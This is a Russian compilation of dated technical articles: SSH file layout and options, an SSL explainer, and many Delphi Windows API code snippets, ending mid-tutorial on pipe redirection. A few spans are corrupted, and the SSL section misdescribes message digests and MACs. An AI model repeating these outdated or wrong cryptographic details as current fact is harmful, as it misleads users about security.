Обратимся сначала к образующимся после установки исполняемым файлам. Основных файлов два: собственно демон sshd в /usr/local/sbin и клиент ssh в /usr/local/bin. В последнем каталоге располагается также модуль scp (ssh-аналог rcp) и ряд модулей с префиксом ssh_, среди которых отметим модули ssh_agent (аутентификационный агент, хранящий RSA-ключи аутентификации) и ssh_add, служащий для регистрации новых ключей в этом агенте. Кроме того, в /usr/local/bin имеется две важных вспомогательных утилиты: ssh-keygen и make-ssh-known-hosts.

Неисполняемые файлы ssh (кроме справочных файлов, помещаемых в /usr/local/man) располагаются в каталоге /etc и в домашних каталогах пользователей. В каталоге /etc расположены конфигурационные файлы sshd_config и ssh_config, задающие конфигурационные параметры соответственно sshd и ssh; эти файлы образуются автоматически по завершению установки.

В каталог /etc помещается информация о ключах. В файле ssh_host_key задается ключ хоста-сервеssh_host_key_pub) помещается в файл ssh_known_hosts. Естественно, его надо создавать самостоятельно.

В каталоге /etc образуется также рабочий файл ssh_random_seed, который автоматически модифицируется при запуске демона sshd. Наконец, в каталоге /etc могут располагаться еще два файла. Файл shosts.equiv является аналогом файла rhosts.equiv при работе с ssh. Файл sshrc выполняется при процедуре login перед вызовом оболочки.

Файлы, отражающие пользовательские настройки, располагаются в их домашних каталогах _ в подкаталоге .ssh. В этом подкаталоге располагается, в частности, RSA _ ключ пользователя (в файле identity) и соответствующий открытый ключ (в файле identity.pub). Кроме того, в каталоге .ssh может иметься коллекция открытых ключей удаленных_ пользователей (из их файлов identity.pub), находящаяся в файле authorized.keys. Пользователь может создать также свой личный аналог файла /etc/ssh_known_hosts в файле known_hosts.

При первом вызове ssh (клиента) создается и автоматически корректируется при последующих вызовах файл random_seed. Собственные подразумеваемые параметры ssh можно задать в файле config. В файле rc можно указать действия, выполняемые при login до вызова пользовательской оболочки. Наконец, файл .shosts, аналог .rhosts при работе с ssh, располагается в домашнем каталоге пользователя.

Для генерации ключей заданной длины, как ключей хостов, так и ключей пользователей, применяется утилита ssh-keygen. Она автоматически вызывается в процессе установки для создания файлов, содержащих ключи хоста-сервера.

Типичный вызов ssh-keygen (квадратные скобки, как обычно, означают возможность опустить соответствующий операнд) выглядит так:

Ssh-keygen [-b длина] [-N парольная_фраза] [-c комментарий].

Позволяет создать файлы identity и identity.pub с RSA-ключами, длина которых задается операндом b. По умолчанию длина ключа равна 1024; она не должна быть меньше 512. Поле комментария по умолчанию генерируется в форме user@host. ПАРОЛЬНАЯ_ФРАЗА используется для шифрования личного ключа пользователя; ее рекомендуемая длина _ от 10 до 30 символов. При генерации ключа хоста ПАРОЛЬНАЯ_ФРАЗА должна отсутствовать; такой вызов автоматически происходит в процессе установки.

Утилита make-ssh-known-hosts представляет собой сценарий на языке Perl5 и служит для автоматизации создания файлов типа ssh_known_hosts. Если на компьютере Perl5 не установлен, подобные файлы придется создавать вручную.

Данная утилита обладает развитые средства взаимодействия с DNS-серверами и позволяет выполнять достаточно изощренный опрос этих серверов. Простейшая форма вызова имеет следующий вид:

Make-ssh-known-hosts some.domain > /etc/ssh_known_hosts.

Это позволяет найти и записать в файл ssh_known_hosts открытые ключи всех хостов домена some.domain. Утилита имеет, в частности, средства работы с WKS-записями DNS-сервера. Если в этих записях указан признак наличия ssh, то можно сразу отобрать только хосты, поддерживающие ssh. Аналогично можно отобрать хосты, поддерживающие telnet:

Make-ssh-known-hosts some.domain Ё^wks=.*tе1nеtё > our_hosts.

Утилита может работать аналогичным образом с записями hinfo. Механизм ее работы следующий.

Получив от DNS-сервера список отобранных хостов, make-ssh-known-hosts пытается получить открытые ключи каждого из них. Для этого делается попытка соединиться на порт sshd (22 по умолчанию), и если соединение успешно, пытается выполнить на удаленном хосте команду cat /etc/ ssh_host_key.pub. Если это не удается, утилита проверяет, был ли получен ей в сеансе открытый ключ удаленного хоста; если да _ то он и используется (эту возможность можно отменить при вызове сценария).

Демон sshd

Запуск демона sshd обычно происходит автоматически при загрузке операционной системы из командного файла наподобие /etc/rc.local. Поскольку sshd должен сгенерировать ключ еще до установления соединения, что требует определенного времени, sshd не рекомендуют запускать через демон inetd. Однако, если процессор достаточно быстр, и длина ключа мала (меньше 512 разрядов), демон может периодически запускаться через inetd при каждой попытке соединиться на порт 22.

Напомним, что в целях безопасности не рекомендуют применять ключи короче 512 разрядов. При запуске sshd длину ключа можно указать в операнде -b (по умолчанию 768 разрядов). Подчеркнем, что здесь речь идет о ключе сервера (демона sshd), используемом в сеансе, а не о ключе хоста-сервера.

Запуск sshd с операндом -d включает режим отладки, что рекомендуется при проверке работоспособности, поскольку при этом выдается ряд информационных сообщений, позволяющих отслеживать происходящее. При нормальной эксплуатации этот режим следует отключить.

Параметры демон sshd читает из файла /etc/sshd_conf. В нем задаются, в частности, ссылки на файлы ssh_host_key и ssh_random_seed, длина ключа сервера, разрешенные методы шифрования, номер используемого sshd порта, уровень протоколирования работы sshd в системном журнале и др. Обычно этот файл является вполне подходящим, и необходимости его корректировать не возникает.

Клиент ssh

Клиент ssh служит в качестве замены командам rsh и rlogin. Типичная форма вызова ssh выглядит так:

Ssh [-l имя_пользоваетля] ИМЯ_ХОСТА [команда].

Здесь ИМЯ_ПОЛЬЗОВАТЕЛЯ означает имя пользователя на удаленном хосте, с которым происходит соединение (задается операндом ИМЯ_ХОСТА). Операнд КОМАНДА, если он не опущен, указывает выполняемую на удаленном хосте команду.

Команда ssh имеет еще целый ряд операндов. В операнде -с можно указать метод шифрования (idea/blowfish/des/3des/arcfour); в операнде -p указывается номер порта. Операнд -v рекомендуется использовать для получения информации о том, что происходит в процессе установления сеанса, например, при возникновении каких-либо проблем, в первую очередь задержках в соединении.

Два операнда позволяют осуществлять перенаправление портов:

- L ПОРТ:ХОСТ:ПОРТХОСТА.

Позволяет перенаправить ПОРТ локального компьютера на ПОРТХОСТА удаленного компьютера, заданного в аргументе ХОСТ;

-R ПОРТ:ХОСТ:ПОРТХОСТА.

Осуществляет перенаправление ПОРТа на удаленном ХОСТе на порт локального хоста (последний аргумент).

Конфигурационные файлы клиента включают общий файл /etc/ssh_config и личные пользовательские config-файлы. Последние перекрывают_ действие общего файла, и их, в свою очередь, можно заменить явным заданием операндов ssh. В конфигурационном файле задаются такие параметры, как методы шифрования, возможность перенаправления портов, разрешение на использование обычных механизмов rsh/rlogin при невозможности ssh-аутентификации, номер используемого на удаленном сервере порта и др.

Описание протокола SSL (Secure Socket Layer).

Встретились как-то два командира Нортон и Волков. Нортон как всегда в окружении симпатичных утилиток и с полной сумкой вьюверов, а Волков в гордом одиночестве, но с сознанием собственного совершенства. И зашел между ними спор, кто круче. - Я как брошу файлы с одного компьютера, так через всю комнату летят и в другой попадают, - хвастается Нортон. - А я как ударю по каталогу, так он весь сразу и рассыпается, - хвастает Волков. Так спорили они, спорили, и решили, что только кто-нибудь третий может их рассудить. Видят в сторонке, немного прихрамывая, мужик идет, весь в разукрашенной одежде и изо всех карманов какие-то приспособления торчат. - Эй, мужик, - обратился к нему командир Нортон, - разреши наш спор. - Скажи, кто из нас круче, - подхватил командир Волков. - Вы оба никуда не годитесь, - отвечает мужик, - старые уже, никого удовлетворить не можете, пора вам на свалку. - Да кто ты такой, что нам так говорить! - возмутились командиры. - Я - Дос Навигатор, - ответил мужик.

Протокол SSL (secure socket layer) был разработан фирмой Netscape, как протокол обеспечивающий защиту данных между сервисными протоколами (такими как HTTP, NNTP, FTP и т.д.) и транспортными протоколами (TCP/IP). Не секрет, что можно без особых технических ухищрений просматривать данные, которыми обмениваются между собой клиенты и серверы. Был даже придуман специальный термин для этого _ Tsniffer. А в связи с увеличением объема использования Интернета в коммерческих целях, неизбежно вставал вопрос о защите передаваемых данных. И пользователи не очень были бы рады, если номер их кредитной карточки, был бы перехвачен, каким ни будь предприимчивым хакером Тпо дороге к виртуальному магазину. И, в общем, появление такого протокола как SSL было вполне закономерным явлением. С одной стороны остаются все возможности сервисных протоколов (для программ-серверов), плюс к этому все данные передаются в зашифрованном виде. И разкодировать их довольно трудно. Опустим здесь возможности взлома SSL (она, безусловно, есть, но это отдельная тема для большой статьи). Следует отметить, что SSL не только обеспечивает защиту данных в Интернете, но так же производит Топознание_ сервера и клиента (Tserver/client authentication_). В данный момент протокол SSL принят W3 консорциумом (W3 Consortium) на рассмотрение, как основной защитный протокол для клиентов и серверов (WWW browsers and servers) в сети Интернет.

Алгоритм работы SSL построен на принципе публичных ключей. Этот принцип построен на использовании пары асимметричных ключей (публичном и приватном) для кодирования/декодирования информации. Публичный ключ раздается всем желающим. И с его помощью шифруются необходимые данные, которые можно дешифровать только с помощью приватного ключа. Отходя от темы, можно сказать, что так оно выглядит в теории. На практике все несколько менее строго. Из-за юридических ограничений на длину ключей, они поддаются взлому, хотя для этого и необходимы достаточно большие вычислительные мощности.

Теперь рассмотрим, каким образом все-таки работает SSL

Представьте себе, что есть два человека, которые общаются посредством Интернета и соответственно не видят друг друга. И лишены возможности, узнать, о том кто же его абонент. Их имена _ Алиса и Боб. Допустим Алисе надо, узнать действительно она разговаривает с Бобом или нет. В этом случае диалог может выглядеть следующим образом:

Алиса отправляет Бобу случайное сообщение. Боб шифрует его с помощью своего приватного ключа и отправляет его Алисе. Алиса дешифрует это сообщение (с помощью публичного ключа Боба). И сравнив это сообщение с посланным, может убедиться в том, что его действительно послал Боб. Но на самом деле со стороны Боба не очень удачная идея шифровать сообщение от Алисы с помощью своего приватного ключа. И возвращать его. Это аналогично подписи документа, о котором Боб мало что знает. С такой позиции Боб должен сам придумать сообщение. И послать его Алисе в двух экземплярах. В первом сообщение передается открытым текстом, а второе сообщение зашифровано с помощью приватного ключа Боба. Такое сообщение называется message digest. А способ шифрования сообщения с помощью своего приватного ключа _ цифровой подписью (digital signature).

Теперь закономерно встает вопрос о том, каким образом распространять свои публичные ключи. Для этого (и не только) была придумана специальная форма - сертификат (certificate). Сертификат состоит из следующих частей:

Имя человека/организации выпускающего сертификат. Для кого был выпущен данный сертификат (субъект сертификата). Публичный ключ субъекта. Некоторые временные параметры (срок действия сертификата и т.п.). Сертификат Тподписывается_ приватным ключом человека (или огрганизации), который выпускает сертификаты. Организации, которые производят подобные операции называются _ TCertificate authority (CA). Если в стандартном Web-клиенте (web-browser), который поддерживает SSL, зайти в раздел security. То там можно увидеть список известных организаций, которые Тподписывают_ сертификаты. С технической стороны, создать свою собственную CA достаточно просто. Но против этого могут действовать скорее юридические препятсвия.

Теперь рассмотрим, каким образом происходит обмен данными в Интернете. Воспользуемся все теми же действующими лицами.

Алиса: привет. Боб: привет, я Боб (выдает свой сертификат). Алиса: а ты точно Боб? Боб: Алиса я Боб. (Сообщение передается два раза, один раз в открытую, второй раз, зашифрованный с помощью приватного ключа Боба). Алиса: все нормально, ты действительно Боб. (И присылает Бобу секретное сообщение, зашифрованное с помощью публичного ключа Боба). Боб: А вот и мое сообщение (посылает сообщение, которое было зашифровано с помощью секретного ключа, например того же шифрованного сообщения Алисы). Поскольку Боб знает сообщение Алисы, потому что он владеет приватным ключом и Алиса знает, что было в том сообщении. Теперь они могут использовать симметричный шифровальный алгоритм (где в качестве секретного ключа выступает сообщение Алисы) и безбоязненно обмениваться шифрованными сообщениями. А для контроля над пересылкой сообщений (от случайного/преднамеренного изменения) используется специальный алгоритм - Message Authentication Code (MAC). Довольно распространенным является алгоритм MD5. Обычно, и сам MAC-code так же шифруется. В связи с этим достоверность сообщений повышается в несколько раз. И внести изменения в процесс обмена практически невозможно.

Теперь несколько слов о реализации SSL. Наиболее распространенным пакетом программ для поддержки SSL _ является SSLeay. Последняя версия (SSLeay v. 0.8.0) поддерживает SSLv3. Эта версия доступна в исходных текстах. И без особых проблем устанавливается под UNIX (я не пробовал ставить SSLeay под операционные системы фирмы Microsoft). Этот пакет предназначен для создания и управления различного рода сертификатами. Так же в его состав входит и библиотека для поддержки SSL различными программами. Эта библиотека необходима, например, для модуля SSL в распространенном HTTP сервере _ Apache. Если Вы устанавливаете версию, вне США, то особых проблем с алгоритмом RSA быть не должно. Но только накладывается ограничение на длину ключа в 40 бит (возможно, на данный момент это ограничение снято, но на пакете SSLeay это никоим образом не отразилось. Действеут это ограничение и на другой пакет от фирмы Netscape - SSLRef). А вот если компьютер с SSLeay находится на территории США, то за использование алгоритма RSA необходимо заплатить какие то деньги. Но об этом нужно разговаривать с самой фирмой RSA Data Security Inc. Я точно не знаю, но по слухам необходимо регистрировать сертификаты в ФСБ. Если кто обладает такой информацией, всегда буду рад узнать.

Подводя итоги, можно сказать, что SSL просто необходим в сфере коммерческого Интернета, особенно там, где нужно обеспечить конфиденциальность данных. На самом деле решение о том насколько необходим такой канал, должен принимать администратор Web-узла. По своему опыту могу сказать, что особо ощутимой нагрузки на сервер, при использовании SSL, не наблюдается.

Инсталляция Screen Saver.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses
   shellapi;
 procedure InstallScreenSaver(const FileName: string);
 begin
   { Set this screensaver as default screensaver and open the properties dialog}
   ShellExecute(Application.Handle, 'open', PChar('rundll32.exe'),
     PChar('desk.cpl,InstallScreenSaver ' + FileName), nil, SW_SHOWNORMAL);
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   InstallScreenSaver('c:\YourScreenSaverFile.scr');
 end;

Получить время задержки хранителя экрана.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function GetScreenSaverTimeout: Integer;
 begin
   SystemParametersInfo(SPI_GETSCREENSAVETIMEOUT, 0, @Result, 0);
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShowMessage(IntToStr(GetScreenSaverTimeout) + ' Sec.');
 end;

Узнаём стандартные папки Windows.

Если не можете выйти из виндов, есть запасной выход:" Выдерни шнур, выдави стекло...".
uses Registry; 
procedure TForm1.Button1Click(Sender: TObject); 
var 
  reg : TRegistry; 
  ts : TStrings; 
  i : integer; 
begin 
  reg := TRegistry.Create; 
  reg.RootKey := HKEY_CURRENT_USER; 
  reg.LazyWrite := false; 
  reg.OpenKey( 
   'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders', 
              false); 
    ts := TStringList.Create; 
    reg.GetValueNames(ts); 
    for i := 0 to ts.Count -1 do begin 
      Memo1.Lines.Add(ts.Strings[i] + 
                      ' = ' + 
                      reg.ReadString(ts.Strings[i])); 
    end; 
    ts.Free; 
  reg.CloseKey; 
  reg.free; 
end;

Регистрация программ в меню Пуск Windows.

Если жёсткий диск не подаёт признаков жизни, значит, на вашем компьютере уже установлена Windows

Подобная проблема возникает при создании инсталляторов и деинсталляторов. Наиболее простой и гибкий путь - использование DDE. При этом посылаются запросы к PROGMAN. Для этого необходимо поместить на форму компонент для посылки DDE запросов - объект типа TDdeClientConv. Для определенности назовем его DDEClient. Затем добавим метод для запросов к PROGMAN:

function TForm2.ProgmanCommand(Command: string): boolean;
var
  macrocmd: array[0..88] of char;
begin
  DDEClient.SetLink('PROGMAN', 'PROGMAN');
  DDEClient.OpenLink; { Устанавливаем связь по DDE }
  strPCopy(macrocmd, '[' + Command + ']'); {Подготавливаем ASCIIZ строку }
  ProgmanCommand := DDEClient.ExecuteMacro(MacroCmd, false);
  DDEClient.CloseLink; { Закрываем связь по DDE }
end;
При вызове ProgmanCommand возвращает true, если посылка макроса была успешна. Система команд (основных) приведена ниже: Create(Имя группы, путь к GRP файлу) Создать группу с именем "Имя группы", причем в нем могут быть пробелы и знаки препинания. Путь к GRP файлу можно не указывать, тогда он создастся в каталоге Windows. Delete(Имя группы) Удалить группу с именем "Имя группы" ShowGroup(Имя группы, состояние) Показать группу в окне, причем состояние - число, определяющее параметры окна: 1-нормальное состояние + активация 2-миним.+ активация 3-макс. + активация 4-нормальное состояние 5-Активация AddItem(командная строка, имя раздела, путь к иконке, индекс иконки (с 0), Xpos,Ypos, рабочий каталог, HotKey, Mimimize) Добавить раздел к активной группе. В командной строке, имени размера и путях допустимы пробелы, Xpos и Ypos - координаты иконки в окне, лучше их не задавать, тогда PROGMAN использует значения по умолчанию для свободного места. HotKey - виртуальный код горячей клавиши. Mimimize - тип запуска, 0-в обычном окне, <>0 - в минимизированном. DeleteItem(имя раздела) Удалить раздел с указанным именем в активной группе

Пример использования:

ProgmanCommand('CreateGroup(Комплекс программ для каталогизации литературы,)');
ProgmanCommand('AddItem('+path+'vbase.hlp,Справка по VBase,'+ path +' vbase.hlp, 0, , , '+ path + ',,)');

Где path - строка типа String, содержащая полный путь к каталогу ('C:\Catalog\');

Изменить размер кнопки ПУСК.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.Button1Click(Sender: TObject);
 begin
   MoveWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'Button', nil),
              300, 0, 80, 22, true);
 end;

Создать папку в меню кнопки ПУСК.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

Uses
   ShlObj, ActiveX;
 procedure FreePidl(pidl: PItemIDList);
 var
   allocator: IMalloc;
 begin
   if Succeeded(SHGetMalloc(allocator)) then
   begin
     allocator.Free(pidl);
     {$IFDEF VER100}
     allocator.Release;
     {$ENDIF}
   end;
 end;
 function CreateFolder(aFolderName: string; aLocation: Integer): Boolean;
 var
   pIdl: PItemIDList;
   hPath: PChar;
 begin
   Result := False;
   if SUCCEEDED(SHGetSpecialFolderLocation(0, aLocation, pidl)) then
   begin
     hPath := StrAlloc(MAX_PATH);
     SHGetPathFromIDList(pIdl, hPath);
     SetLastError(0);
     CreateDirectory(PChar(hPath + '\\' + aFolderName), nil);
     if (GetLastError = 0) or (GetLastError = ERROR_ALREADY_EXISTS) then
       Result := True;
     FreePIDL(pIdl);
     StrDispose(hPath);
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   CreateFolder('MyProgramgroup', CSIDL_PROGRAMS);
 end;

Путь к папке кнопки Пуск.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses
   ShlObj, ActiveX;
 procedure FreePidl(pidl: PItemIDList);
 var
   allocator: IMalloc;
 begin
   if Succeeded(SHGetMalloc(allocator)) then
   begin
     allocator.Free(pidl);
     {$IFDEF VER100}
     allocator.Release;
     {$ENDIF}
   end;
 end;
 function GetStartMenu: string;
 var
   pidl: PItemIDList;
   buf: array[0..MAX_PATH] of Char;
 begin
   if Succeeded(SHGetSpecialFolderLocation(Form1.Handle, CSIDL_STARTMENU, pidl)) then
   SHGetPathFromIDList(pidl, buf);
   Result := StrPas(buf);
   // The calling application is responsible for freeing the PItemIDList-pointer 
  // with the Shell's IMalloc interface 
  FreePIDL(pidl);
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   label1.Caption := GetStartMenu;
 end;

Как показать не отдельно формируемое меню кнопки ПУСК, а иерархическое содержимое десктопа.

Автор: Александр Малыгин Этот фриварный проект может принести как практическую, так и теоретическую пользу. Фактически это иллюстрация к статье известного гуру Акжана Абдулина "Пространство имен оболочки Windows" (есть в Свитках и на его личном сайте). Именно она послужила толчком и основанием для этой разработки.

Идея проста. Хотелось получить в Windows функциональность кнопки Warp оболочки WarpCenter операционной системы OS/2 Warp 4.0 Merlin. Отличается она от кнопки Start Ехрlоrеr'а тем, что показывает не отдельно формируемое меню, а иерархическое содержимое десктопа. То есть, все, что есть на десктопе и во вложенных папках, она разворачивает в виде меню и позволяет запускать. Скачать проект: exe-файл + исходные коды Warp.zip (52 K). Программа ставится в автостарт и помещает свой значок в System Tray. Исходные тексты могут ответить на массу часто задаваемых вопросов о программировании в Windows. Вот некоторые темы: - Получение и использование папок рабочего стола, перечисление всех объектов. - Работа без VCL, использование Win32API. - Организация неконсольной программы без видимого окна. - Работа с "иконкой в Tray" без компонентов ;) - Использование меню из ресурса и меню "ручной сборки", иконки в меню (стиль OWNERDRAW). - Отслеживание изменений в директории (в частности - папка десктопа). - Получение иконок для объектов рабочего стола. - Контекстное меню для объектов рабочего стола. - Операции с идентификаторами объектов оболочки (pidl). - Хранение опций в реестре. - И многое другое. Единственный большой недостаток - отсутствие комментариев. В основу положен принцип "Лучше день потерять, потом за пять минут долететь" (с) мультик. При старте зачитываются все объекты, зато потом меню работает быстро. Некоторые известные спецпапки десктопа по-умолчанию не развертываются во вложенное меню (можно отключить в конфигурации). Диски в "My Computer" тоже не развертываются - было бы слишком много объектов. Изменения на самом десктопе контролируются и запускается процедура перечитывания объектов (во вложенных папках контроля нет). Горячая клавиша вызова меню - Ctrl-Alt-F12. Вызов контекстного меню для выбранного объекта - Ctrl-Enter или правая кнопка мыши. Проект компилируется в D5, первоначально был написан в среде D3 (есть различия в инициализации COM). Программа была разработана в 1999 году в порядке изучения Delphi и методов работы с API и объектами эсплорера. Отдельное спасибо Акжану Абдулину за вышеупомянутую статью о пространстве имен, а также Анатолию Тенцеру за его "конструктор юного любителя иконок в SysTray" (модуль TaskBar.pas - его, без изменений).

Окно в виде звезды.

Статьи по Delphi (016)…
Что делать, если система не работает? Программист должен из нее выйти и опять войти. Что делать, если программист не работает? Начальник должен в него войти и выйти. Несколько раз.
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls, ExtCtrls, jpeg;
type
  TForm1 = class(TForm)
    Label1: TLabel; //Это метка для отображения времени
    Timer1: TTimer; //Это таймер - с помощью него мы отображаем время
    Image1: TImage; //Компонент Image - нужен для вывода рисунка на форме
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    {Для перемещения формы вне заголовка объявляем процедуру}
    procedure WMNCHitTest(var M:TWMNCHitTest);message wm_NCHitTest;
  public
    { Public declarations }
end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
{Для перемещения формы вне заголовка описываем процедуру}
procedure TForm1.WMNCHitTest(var M: TWMNCHitTest);
begin
  inherited;
  if M.Result = htClient then
    M.Result := htCaption;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
  hsWindowRegion, hsWindowRegion2: integer;
  p: array [0..11] of TPoint;
begin
  p[0].x:=30; p[0].y:=40;
  p[1].x:=80; p[1].y:=70;
  p[2].x:=95; p[2].y:=20;
  p[3].x:=110; p[3].y:=70;
  p[4].x:=160; p[4].y:=40;
  p[5].x:=130; p[5].y:=85;
  p[6].x:=260; p[6].y:=230;
  p[7].x:=110; p[7].y:=100;
  p[8].x:=95; p[8].y:=200;
  p[9].x:=80; p[9].y:=100;
  p[10].x:=30; p[10].y:=130;
  p[11].x:=60; p[11].y:=85;
  hsWindowRegion:=CreatePolygonRgn(P,12,Alternate);
  hsWindowRegion2:=CreateEllipticRgn(50,50,140,120);
  CombineRgn(hsWindowRegion, hsWindowRegion, hsWindowRegion2, rgn_or);
  SetWindowRgn(Handle, hsWindowRegion, true);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  Label1.Caption:=TimeToStr(Time);
end;
end.

Обработчик события OwnerDraw в компоненте StatusBar.

procedure TForm1.StatusBar1DrawPanel(StatusBar: TStatusBar;
Panel: TStatusPanel; const Rect: TRect);
begin
  with statusbar1.Canvas do
  begin
    Brush.Color := clRed;
    FillRect(Rect);
    TextOut(Rect.Left, Rect.Top, 'Панель '+IntToStr(Panel.Index));
  end;
end;

Показ всплывающих подсказок в строке состояния.

Я покажу как сделать так, чтобы строка состояния (Status Bar) показывала все всплывающие подсказки (Hint) элементов управления формы при нахождении курсора мыши в области компонента. Имеется пара решений данной задачи, но в любом случае вы должны создать код для каждой формы (пока я не знаю другого решения). Шаг 1: Расположите TStatusBar на всех формах, где вы хотите увидеть подсказки в строке состояния. Установите свойство SimplePanel в True и присвойте компоненту другое имя (я использую SBStatus). Смотри мой комментарий относительно имени, который я поместил в шаге 4. Шаг 2: Создайте необходимые подсказки в свойствах Hint. Не забудьте вставить '|', если вам необходим длинный текст. Шаг 3:

Поместите следующую строку в обработчике события FormCreate вашей формы:

Application.OnHint := DisplayHint; 
Шаг 4:

Создайте эту процедуру. Пожалуйста обратите внимание на комментарии.

procedure TFrmMain.DisplayHint(Sender: TObject);
var
  Counter, NumComps: integer;
begin
  with Screen.ActiveForm do
  begin
    NumComps := ControlCount - 1;
    for Counter := 0 to NumComps do
      {SBStatus - имя всех моих компонентов TStatusBar.
      При необходимости его можно изменить.}
      if (TControl(Controls[Counter]).Name = 'SBStatus') then
      begin
        if (Application.Hint = '') then
          {ConWorkingName - используемая константа.
          При необходимости ее можно изменить.}
          TStatusBar(Controls[Counter]).SimpleText := ConWorkingName
        else
          TStatusBar(Controls[Counter]).SimpleText := Application.Hint;
        break;
      end;
  end;
end; {DisplayHint}
Не забудьте поместить 'Procedure DisplayHint(Sender: TObject) в секции Public.

Это все, что вы должны сделать. Если вы хотите придать такую функциональность другим формам, просто поместите на них TStatusBar и установите свойство Hint у необходимых компонентов. Я надеюсь это просто.

Показ всплывающих подсказок в строке состояния 2.

Автор: Иваненко Фёдор Григорьевич Пришло мне письмо:

...совет за номером 000306 содержит интересную идею -- выводить Нint'ы не на основную форму, а на активную, я сам до этого не дошел... Но не совсем понятно, чем автору не понравился стандартный метод TForm.FindComponent, существующий со времен Delphi I ? С его использованием метод ShowHint выглядит попроще, да и работает не хуже:

procedure TAnyForm.ShowHint;
var
  C: TStatusBar;
begin
  // ищем наш StatusBar1 на активной форме
  C := TStatusBar(Screen.ActiveForm.FindComponent('StatusBar1'));
  // если не найден -- ищем на основной форме
  if not Assigned(C) then
    C := TStatusBar(Application.MainForm.FindComponent('StatusBar1'));
  // если что-то обнаружено -- рисуем на н?м наш текст
  if Assigned(C) then
    C.SimpleText := '  ' + Application.Hint;
end;

Желаю Вам всяческих успехов!

Установить размер шрифта для панели StatusBar.

With StatusBar1.Panels[1] do
begin
  Text := Edit1.Text;
  Canvas.Font.Size := StatusBar1.Font.Size;
  Width := Canvas.TextWidth(Text) + 10;
end;

Форма постоянно сверху приложения.

Форма должна иметь нормальный стиль (normal style), необходимо лишь переписать процедуру CreateParams:

procedure TFloatingToolbar.CreateParams( var Params: TCreateParams );
begin
  inherited CreateParams( Params );
  with Params do
  begin
    Style := Style or ws_Overlapped;
    WndParent := MainForm.Handle;
  end;
end;

StdIn, StdOut и StdErr. Перенаправление, чтение и запись.

Автор: Горбань С.В. Вообще - я программист молодой, стаж - всего 2 года. И я никак не ожидал, что в век GDI мне придется возится с консолью... Ан нет, пришлось. Начал писать "движок" для собственного сайта. А именно - "Apache 1.x shared module" (dll - линкуется к Апачу и обрабатывает определенные адреса). Написал. Всего три сотни строк. НО умеет кучу всяких полезностей, типа вставлять на страницы данные из файлов (файл в файл), строки и, главное, данные из БД. Все это прекрасно. НО не умеет вставлять результаты работы других файлов (типа как CGI). Ну, думаю, надо сделать. Ага, а как? Вот тут то все и началось... Итак, ЗАДАЧА: запустить процесс (некий файл), передать ему команды и получить от него результаты работы. Вставить полученные результаты на страницу сайта. Причем в целях совместимости механизмы передачи данных ДОЛЖНЫ быть стандартными - StdIn, StdOut, StdErr. Поискал на КД. Нашел вот такую штуку: Как переназначить StdOut в файл для консольной программы запускаемой по CreateProcess Хорошая статья, но мне-то НЕ в ФАЙЛ, а в ПРОГРАММУ надо! Автор (Спасибо ему!!!) предусмотрительно указал ссылки на полезные раздел справки - "Creating a Child Process with Redirected Input and Output". Лезем туда. Ууууух... Круто. В общем, каких-то два дня ковыряния и вуаля! Работает! Получился небольшой такой класс... За кривизну некоторых мест, типа отсутствия проверок - НЕ бить! (по крайней мере ногами :-)). Кому надо - тот сам вставит. (Вот так и рождается "кривой" код. Типа сейчас лень, потом добавлю... Ага... Через час уже забудешь!!!) В общем - перехожу таки к технике дела. Для передачи данных используются "безымянные" (Anonymus) "каналы" (Pipes). Чтобы заставить программу писать в (читать из) канал (а) - просто подменяем соответствующие Std(In, Out, Err). Программа и знать не будет, что ее данные уходят в "трубу" а не на реальную консоль. При создании каналов есть одна ВАЖНАЯ особенность. Создаем-то мы их в своем процессе (Parent) а использовать будем и в дочернем. (Учтите! дочерний процесс НЕ будет знать, что использует КАНАЛ! НО будет его использовать...). Так, вот, чтобы дочерний процесс мог нормально работать - хэндлы канала должны быть НАСЛЕДУЕМЫМИ.

Чтобы это обеспечить - надо правильно заполнить структуру SECURITY_ATTRIBUTES используемую при вызове CreatePipe:

New(FsaAttr);
FsaAttr.nLength := SizeOf(SECURITY_ATTRIBUTES);
FsaAttr.bInheritHandle := True;
FsaAttr.lpSecurityDescriptor := nil;

Заполнили? Молодцы! Теперь создаем каналы (я делаю только два, StdErr мне не нужен):

if not CreatePipe(FChildStdoutRd, FChildStdoutWr, FsaAttr, 0) then
  //Создаем "читальный" Pipe
  raise ECreatePipeErr.CreateRes(@sCreatePipeMsg)
else
if not CreatePipe(FChildStdinRd, FChildStdinWr, FsaAttr, 0) then
  //Создаем "писальный" Pipe
  raise ECreatePipeErr.CreateRes(@sCreatePipeMsg)
Создали? Если нет - то дальше ловить нечего, поэтому генерим Ехсерtiоn'ы...

Есть еще одна тонкость. У нас Все созданные хэндлы наследуемые! А дочернему процессу понадобятся только два... Поэтому:

// Делаем НЕ наследуемые дубликаты
// Это нужно, чтобы не тащить лишние хэндлы в дочерний процесс...
if not DuplicateHandle(GetCurrentProcess(), FChildStdoutRd,
  GetCurrentProcess(), @Tmp1, 0, False, DUPLICATE_SAME_ACCESS) then
  raise EDuplicateHandleErr.CreateRes(@sDuplicateHandleMsg)
else if not DuplicateHandle(GetCurrentProcess(), FChildStdinWr,
  GetCurrentProcess(), @Tmp2, 0, False, DUPLICATE_SAME_ACCESS) then
  raise EDuplicateHandleErr.CreateRes(@sDuplicateHandleMsg)

Дубликаты у нас в Tmp1 и Tmp2, теперь:

CloseHandle(FChildStdoutRd); //Закроем наследуемый вариант "Читального" хэндла
CloseHandle(FChildStdinWr); //Закроем наследуемый вариант "Писального" хэндла
FChildStdoutRd := Tmp1;    //И воткнем их места НЕ наследуемые дубликаты
